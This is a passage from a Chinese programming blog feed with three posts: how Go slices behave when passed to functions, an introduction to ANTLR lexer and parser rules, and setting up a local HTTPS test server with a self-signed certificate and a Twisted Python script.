class="line"></span><br><span class="line"><span class="keyword">type</span> SliceHeader <span class="keyword">struct</span> &#123;</span><br><span class="line">Data <span class="type">uintptr</span></span><br><span class="line">Len  <span class="type">int</span></span><br><span class="line">Cap  <span class="type">int</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><span id="more"></span><h4 id="函数传递"><a href="#函数传递" class="headerlink" title="函数传递"></a>函数传递</h4><p>需要明确的一点是，golang是值传递，copy value</p><ol><li>传值</li></ol><p>例子1: </p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"><span class="keyword">import</span> <span class="string">&quot;fmt&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">modify</span><span class="params">(B []<span class="type">int</span>)</span></span> &#123;</span><br><span class="line">  <span class="keyword">for</span> i := <span class="keyword">range</span> s &#123;</span><br><span class="line">    B[i]++:</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  A := []<span class="type">int</span>&#123;<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>&#125;</span><br><span class="line">  modify(A)</span><br><span class="line">  fmt.Println(A)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那么s究竟会不会改变呢？答案是，会改变的。问题来了，不是说golang函数传递是传值么？这时候不应该copy一份slice么？那为什么main函数里的slice会发生变化呢？</p><p>打印出来的结果是</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[<span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>]</span><br></pre></td></tr></table></figure><p>接下里利用unsafe包直接对比下main函数和modify函数的slice对应的底层数组是不是一个，如果底层数组是一个，那显然在modify函数修改会影响main函数的slice。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">  <span class="string">&quot;fmt&quot;</span></span><br><span class="line">  <span class="string">&quot;reflect&quot;</span></span><br><span class="line"><span class="string">&quot;unsafe&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">modify</span><span class="params">(B []<span class="type">int</span>)</span></span> &#123;</span><br><span class="line">  fmt.Println((*reflect.SliceHeader)(unsafe.Pointer(&amp;B)).Data)</span><br><span class="line">  <span class="keyword">for</span> i := <span class="keyword">range</span> B &#123;</span><br><span class="line">    B[i]++</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  A := []<span class="type">int</span>&#123;<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>&#125;</span><br><span class="line">  fmt.Println((*reflect.SliceHeader)(unsafe.Pointer(&amp;A)).Data)</span><br><span class="line">  modify(A)</span><br><span class="line">  fmt.Println(A)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>打印出来的结果是</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">824634466336</span></span><br><span class="line"><span class="number">824634466336</span></span><br><span class="line">[<span class="number">2</span> <span class="number">3</span> <span class="number">4</span>]</span><br></pre></td></tr></table></figure><p>打印之后发现，指向的是同一个数组呀，那就验证了我们的猜测。其实传值的时候，相当于是这个样子的</p><p>main: A –&gt; SliceHeader</p><p>Modify:  B –&gt; 同一个SliceHeader</p><p>例子2: </p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> <span class="string">&quot;fmt&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">appendToS</span><span class="params">(s []<span class="type">int</span>)</span></span> []<span class="type">int</span> &#123;</span><br><span class="line">  s = <span class="built_in">append</span>(s, <span class="number">100</span>)</span><br><span class="line">  <span class="keyword">return</span> s</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  s := []<span class="type">int</span>&#123;<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>&#125;</span><br><span class="line">  newS := appendToS(s)</span><br><span class="line">  fmt.Println(s)</span><br><span class="line">  fmt.Println(newS)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>看了例子1，你很开心的说，打印出来的s和newS是一样的，但我要告诉你猜错辽。你不由得感叹这是为啥子啊？明明指向一个数组，为什么没有变化呢？</p><p>打印结果如下</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[<span class="number">1</span> <span class="number">2</span> <span class="number">3</span>]</span><br><span class="line">[<span class="number">1</span> <span class="number">2</span> <span class="number">3</span> <span class="number">100</span>]</span><br></pre></td></tr></table></figure><p>再利用unsafe包搞一把</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">&quot;fmt&quot;</span></span><br><span class="line"><span class="string">&quot;reflect&quot;</span></span><br><span class="line"><span class="string">&quot;unsafe&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">appendToS</span><span class="params">(s []<span class="type">int</span>)</span></span> []<span class="type">int</span> &#123;</span><br><span class="line">s = <span class="built_in">append</span>(s, <span class="number">100</span>)</span><br><span class="line"><span class="keyword">return</span> s</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">s := []<span class="type">int</span>&#123;<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>&#125;</span><br><span class="line"></span><br><span class="line">sptr := (*reflect.SliceHeader)(unsafe.Pointer(&amp;s))</span><br><span class="line">fmt.Println(sptr.Len)</span><br><span class="line"></span><br><span class="line">newS := appendToS(s)</span><br><span class="line">fmt.Println(s)</span><br><span class="line">fmt.Println(newS)</span><br><span class="line"></span><br><span class="line">fmt.Println(sptr.Len)</span><br><span class="line">fmt.Println(sptr.Cap)</span><br><span class="line">fmt.Println((*reflect.SliceHeader)(unsafe.Pointer(&amp;newS)).Len)</span><br><span class="line">fmt.Println((*reflect.SliceHeader)(unsafe.Pointer(&amp;newS)).Cap)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>打印结果是</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">3</span></span><br><span class="line">[<span class="number">1</span> <span class="number">2</span> <span class="number">3</span>]</span><br><span class="line">[<span class="number">1</span> <span class="number">2</span> <span class="number">3</span> <span class="number">100</span>]</span><br><span class="line"><span class="number">3</span></span><br><span class="line"><span class="number">3</span></span><br><span class="line"><span class="number">4</span></span><br><span class="line"><span class="number">6</span></span><br></pre></td></tr></table></figure><p>这个是因为原来的数组容量是3，append发现容量不够，触发了扩容，这时候底层数组就变掉了，如果容量充足的话，调大SliceHeader的长度是可以看到新增的元素。参考下runtime包slice.go的growslice函数。</p><ol start="2"><li>传指针 无需多言，肯定会变化</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;开始看golang的时候，最纠结的就是函数传递slice，这个slice到底有没有发生变化。最近发现周围的同事也没有弄清楚，于是打算仔细看下，在函数里修改传递的slice会不会改变原来的slice。&lt;/p&gt;
&lt;h4 id=&quot;slice-结构&quot;&gt;&lt;a href=&quot;#slice-结构&quot; class=&quot;headerlink&quot; title=&quot;slice 结构&quot;&gt;&lt;/a&gt;slice 结构&lt;/h4&gt;&lt;p&gt;首先从slice的结构入手，可以看到slice底层其实就是一个数组&lt;/p&gt;
&lt;figure class=&quot;highlight go&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;type&lt;/span&gt; slice &lt;span class=&quot;keyword&quot;&gt;struct&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	array unsafe.Pointer&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	&lt;span class=&quot;built_in&quot;&gt;len&lt;/span&gt;   &lt;span class=&quot;type&quot;&gt;int&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	&lt;span class=&quot;built_in&quot;&gt;cap&lt;/span&gt;   &lt;span class=&quot;type&quot;&gt;int&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;type&lt;/span&gt; SliceHeader &lt;span class=&quot;keyword&quot;&gt;struct&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	Data &lt;span class=&quot;type&quot;&gt;uintptr&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	Len  &lt;span class=&quot;type&quot;&gt;int&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	Cap  &lt;span class=&quot;type&quot;&gt;int&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;</summary>
    
    
    
    
    <category term="Golang" scheme="https://suikammd.github.io/zh-Hans/tags/Golang/"/>
    
  </entry>
  
  <entry>
    <title>基于antlr的词法和语法分析</title>
    <link href="https://suikammd.github.io/zh-Hans/2020/10/10/antlr-lexer-parser/"/>
    <id>https://suikammd.github.io/zh-Hans/2020/10/10/antlr-lexer-parser/</id>
    <published>2020-10-10T06:08:37.000Z</published>
    <updated>2026-11-19T12:58:15.308Z</updated>
    
    <content type="html"><![CDATA[<p>最近工作经常跟antlr打交道，一开始半懂不懂，各种瞎写胡试，也能work。工作做完之后就想系统了解下编译器前端到底做了哪些事情，也就是词法分析和语法分析究竟做了什么，以及antlr的lexer和parser的语法。</p><h2 id="编译器前端到底做了哪些事情"><a href="#编译器前端到底做了哪些事情" class="headerlink" title="编译器前端到底做了哪些事情"></a>编译器前端到底做了哪些事情</h2><p>从一个比较high level的角度看待编译器前端对字符串的处理流程，第一步是做词法解析，将字符串解析成Token序列，第二步是做语法分析，根据语法匹配命中相应的语法规则。</p><ol><li><p>词法分析</p><p>以这句SPL查询<code>search id |stats count by id </code>为例，词法分析做的事情就是把这个字符串解析成Token序列：search、id、stats、count、by、｜，同时也会拿到这些token对应的类型。</p></li><li><p>语法分析</p><p>词法分析的结果作为语法分析器的输入，经过语法分析之后会确定这个SPL的AST语法树。</p></li></ol><span id="more"></span><h2 id="antlr语法"><a href="#antlr语法" class="headerlink" title="antlr语法"></a>antlr语法</h2><ol><li><p>Lexer语法规则</p><p>（1）匹配规则</p><h4 id="最长匹配"><a href="#最长匹配" class="headerlink" title="最长匹配"></a>最长匹配</h4><p>字符串可能会命中多个词法，这时候会选择最长命中词法。举例如下</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">输入：a=b</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">词法文件</span><br><span class="line">EQ: <span class="string">&#x27;=&#x27;</span>;</span><br><span class="line">IDENTIFIER：[a-zA-z]*;</span><br><span class="line">ANY: .*; // 命中规则ANY</span><br></pre></td></tr></table></figure><p>这时候词法分析不会将<code>a=b</code>理解成a、&#x3D;、b，而是将他们看成一个整体</p><h4 id="顺序匹配"><a href="#顺序匹配" class="headerlink" title="顺序匹配"></a>顺序匹配</h4><p>字符串命中多个词法，在字符串长度一致的情况下，会按照从上至下的顺序优先匹配最先出现的词法。举例如下</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">输入：a</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">语法文件</span><br><span class="line">IDENTIFIER：[a-zA-z]*; // 命中规则IDENTIFIER</span><br><span class="line">ANY: .*;</span><br></pre></td></tr></table></figure><p>这时候词法分析会优先命中最先出现的词法IDENTIFER</p><p>（2）语法关键字理解 <a href="https://github.com/antlr/antlr4/blob/master/doc/lexer-rules.md">antlr lexer 语法</a></p><ul><li><p>skip</p><p>skip会告诉lexer丢弃掉当前匹配到的词，去读下一个词。比如我们在自定义语法的时候，必然会打很多空格，这些空格其实是没有什么含义的，不想对空格做特殊处理的话就可以把这些空格skip掉啦</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">WS: [ \t\r\n\u3000]+ -&gt; skip;</span><br></pre></td></tr></table></figure></li><li><p>more</p><p>more这个我很少用到，大概做的跟skip反过来，遇到more的时候就会告诉lexer再去读一个词</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">LQUOTE : <span class="string">&#x27;&quot;&#x27;</span> -&gt; more, mode(STR);</span><br><span class="line">mode STR;</span><br><span class="line">STRING : <span class="string">&#x27;&quot;&#x27;</span> -&gt; mode(DEFAULT_MODE) ; // token we want parser to see</span><br><span class="line">TEXT : . -&gt; more ; // collect more text <span class="keyword">for</span> string</span><br></pre></td></tr></table></figure><p>当遇到<code>&quot;</code>时，我们告诉lexer还需要匹配更多词，同时通过mode进入<code>STR</code>模式</p></li><li><p>mode(x)</p><p>通过mode建立一个新的命名空间，可以解决与其他模式的冲突，进入新的命名空间可以用其他命名空间定义的词法</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">WHERE: <span class="string">&#x27;where&#x27;</span></span><br><span class="line"></span><br><span class="line">mode(NEWSPACE);</span><br><span class="line">NEWSPACE_WHERE: WHERE -&gt; <span class="built_in">type</span>(WHERE)</span><br></pre></td></tr></table></figure><p>这种写法在进入<code>NEWSPACE</code>命名空间之后，就可以复用在其他命名空间定义的<code>WHERE</code>啦</p></li><li><p>pushMode(x)</p><p>进入新的命名空间</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">CDATA   : <span class="string">&#x27;&lt;![CDATA[&#x27;</span> .*? <span class="string">&#x27;]]&gt;&#x27;</span> ;OPEN : <span class="string">&#x27;&lt;&#x27;</span> -&gt; pushMode(INSIDE);</span><br><span class="line">mode INSIDE;</span><br><span class="line">CLOSE        : <span class="string">&#x27;&gt;&#x27;</span> -&gt; popMode ;</span><br><span class="line">SPECIAL_CLOSE: <span class="string">&#x27;?&gt;&#x27;</span> -&gt; popMode ; // close &lt;?xml...?&gt;</span><br><span class="line">SLASH_CLOSE  : <span class="string">&#x27;/&gt;&#x27;</span> -&gt; popMode ;</span><br></pre></td></tr></table></figure><p>这时候会进入新的命名空间<code>INSIDE</code></p></li><li><p>popMode(x)</p><p>退出当前命名空间，如果直接写<code>popMode</code>，就会回到原来的命名空间，这时候可以理解pushMode是不断的压栈，栈顶元素是当前命名空间</p></li><li><p>type(x)</p><p>解决的是不同命名空间下，可以使用同名Token的问题，参考mode(x)的说明</p></li><li><p>channel(x)</p><p>当我们使用定义的语法去写SPL的时候，我们是不会关心像注释、空格这样的东西，这个时候可以将注释、空格导流到不同的channel，源文件解析后的Token会进入默认的channle。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">@lexer::members&#123;</span><br><span class="line">public static final int WHITESPACE = 1;</span><br><span class="line">public static final int COMMENTS = 2;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">WS: [ \t\r\n\u3000]+ -&gt; channel(WHITESPACE);</span><br><span class="line">COMMENT: <span class="string">&#x27;//&#x27;</span> .*? <span class="string">&#x27;\n&#x27;</span> -&gt; channel(COMMENTS);</span><br></pre></td></tr></table></figure></li></ul></li><li><p>语法解析规则</p><p>其实parser这边没什么好讲的，parser就是根据Token序列判断是哪个语法。举个整体的例子吧</p><p>词法文件</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">lexer grammar Splv1Lexer;</span><br><span class="line"></span><br><span class="line">SORT: <span class="string">&#x27;sort&#x27;</span>;</span><br><span class="line">TOP: <span class="string">&#x27;top&#x27;</span>;</span><br><span class="line">BY: <span class="string">&#x27;by&#x27;</span>;</span><br><span class="line">IDENTIFIER: [a-zA-Z0-9]*</span><br></pre></td></tr></table></figure><p>语法文件</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">lexer grammar Splv1Parser;</span><br><span class="line">options &#123; tokenVocab=Splv1Lexer; &#125;</span><br><span class="line">main</span><br><span class="line">: operators EOF</span><br><span class="line">;</span><br><span class="line"></span><br><span class="line">operators:</span><br><span class="line">: operator*</span><br><span class="line">;</span><br><span class="line"></span><br><span class="line">operator:</span><br><span class="line">: SORT BY field <span class="comment">#sort</span></span><br><span class="line">| TOP field <span class="comment"># top</span></span><br><span class="line">;</span><br><span class="line"></span><br><span class="line">field: IDENTIFIER;</span><br></pre></td></tr></table></figure><p>这个时候我们输入<code>sort by abc</code>，词法分析会将其分析为词：<code>SORT</code>、<code>BY</code> 、<code>IDENTIFIER</code>，之后在语法分析阶段会命中语法<code>SORT BY field #sort</code></p></li></ol><h2 id="antlr-with-java"><a href="#antlr-with-java" class="headerlink" title="antlr with java"></a>antlr with java</h2><p>这部分TODO吧，哈哈哈主要是我也没有搭过，但是简单看了下就是利用antlr自动生成的文件折腾折腾就可以啦</p><p>如下图所示</p><p><img src="/images/antlr-auto-generate-file.jpg" alt="antlr自动生成文件"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;最近工作经常跟antlr打交道，一开始半懂不懂，各种瞎写胡试，也能work。工作做完之后就想系统了解下编译器前端到底做了哪些事情，也就是词法分析和语法分析究竟做了什么，以及antlr的lexer和parser的语法。&lt;/p&gt;
&lt;h2 id=&quot;编译器前端到底做了哪些事情&quot;&gt;&lt;a href=&quot;#编译器前端到底做了哪些事情&quot; class=&quot;headerlink&quot; title=&quot;编译器前端到底做了哪些事情&quot;&gt;&lt;/a&gt;编译器前端到底做了哪些事情&lt;/h2&gt;&lt;p&gt;从一个比较high level的角度看待编译器前端对字符串的处理流程，第一步是做词法解析，将字符串解析成Token序列，第二步是做语法分析，根据语法匹配命中相应的语法规则。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;词法分析&lt;/p&gt;
&lt;p&gt;以这句SPL查询&lt;code&gt;search id |stats count by id &lt;/code&gt;为例，词法分析做的事情就是把这个字符串解析成Token序列：search、id、stats、count、by、｜，同时也会拿到这些token对应的类型。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;语法分析&lt;/p&gt;
&lt;p&gt;词法分析的结果作为语法分析器的输入，经过语法分析之后会确定这个SPL的AST语法树。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    
    <category term="DSL" scheme="https://suikammd.github.io/zh-Hans/tags/DSL/"/>
    
  </entry>
  
  <entry>
    <title>搭建本地https服务器</title>
    <link href="https://suikammd.github.io/zh-Hans/2020/10/09/build-local-https-server/"/>
    <id>https://suikammd.github.io/zh-Hans/2020/10/09/build-local-https-server/</id>
    <published>2020-10-09T08:01:05.000Z</published>
    <updated>2026-11-19T12:58:15.308Z</updated>
    
    <content type="html"><![CDATA[<ol><li><p>生成证书<br>（1）生成rsa密钥 openssl genrsa -des3 -out server.key 1024<br>（2）去掉密钥文件保护密码 openssl rsa -in server.key -out server.key<br>（3）生成ca对应的csr openssl req -new -key server.key -out server.csr<br>（4）自签名 openssl x509 -req -days 1024 -in server.csr -signkey server.key -out server.crt<br>（5）cat server.crt server.key &gt; server.pem</p><span id="more"></span></li><li><p>python脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> twisted.web <span class="keyword">import</span> resource</span><br><span class="line"><span class="keyword">from</span> twisted.web <span class="keyword">import</span> server <span class="keyword">as</span> webserver</span><br><span class="line"><span class="keyword">from</span> twisted.internet <span class="keyword">import</span> reactor</span><br><span class="line"><span class="keyword">from</span> OpenSSL.SSL <span class="keyword">import</span> Context, TLSv1_METHOD</span><br><span class="line"><span class="keyword">import</span> time, threading, logging</span><br><span class="line"></span><br><span class="line">HTTPS_PORT = <span class="number">443</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">HTTPServer</span>(resource.Resource):</span><br><span class="line">    isLeaf = <span class="literal">True</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">getarg</span>(<span class="params">self, req, arg</span>):</span><br><span class="line">        args = req.args</span><br><span class="line">        <span class="keyword">if</span> arg <span class="keyword">not</span> <span class="keyword">in</span> args <span class="keyword">or</span> <span class="built_in">len</span>(args[arg]) == <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">        <span class="keyword">return</span> args[arg][<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">render_POST</span>(<span class="params">self, request</span>):</span><br><span class="line">        <span class="built_in">print</span>(request.content.read())</span><br><span class="line">        <span class="keyword">return</span> <span class="string">b&quot;abc&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">render_GET</span>(<span class="params">self, request</span>):</span><br><span class="line">        <span class="keyword">return</span> <span class="string">b&quot;get&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ContextFactory</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, context</span>):</span><br><span class="line">        self.context = context</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">getContext</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">return</span> self.context</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    cert = <span class="string">&quot;./server.crt&quot;</span></span><br><span class="line">    key = <span class="string">&quot;./server.key&quot;</span></span><br><span class="line"></span><br><span class="line">    httpserver = webserver.Site(HTTPServer())</span><br><span class="line">    context = Context(TLSv1_METHOD)</span><br><span class="line">    context.use_certificate_chain_file(cert)</span><br><span class="line">    context.use_privatekey_file(key)</span><br><span class="line"></span><br><span class="line">    reactor.listenSSL(HTTPS_PORT, httpserver, ContextFactory(context), interface=<span class="string">&#x27;0.0.0.0&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    reactor.run()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure></li><li><p>在 mac 钥匙串中将证书种类标记成 系统，同时在证书处改成SSL始终信任</p></li></ol>]]></content>
    
    
    <summary type="html">&lt;ol&gt;
&lt;li&gt;&lt;p&gt;生成证书&lt;br&gt;（1）生成rsa密钥 openssl genrsa -des3 -out server.key 1024&lt;br&gt;（2）去掉密钥文件保护密码 openssl rsa -in server.key -out server.key&lt;br&gt;（3）生成ca对应的csr openssl req -new -key server.key -out server.csr&lt;br&gt;（4）自签名 openssl x509 -req -days 1024 -in server.csr -signkey server.key -out server.crt&lt;br&gt;（5）cat server.crt server.key &amp;gt; server.pem&lt;/p&gt;</summary>
    
    
    
    
    <category term="https" scheme="https://suikammd.github.io/zh-Hans/tags/https/"/>
    
  </entry>
  
  <entry>
    <title>使用 树莓派 + HomeKit 来控制空调</title>
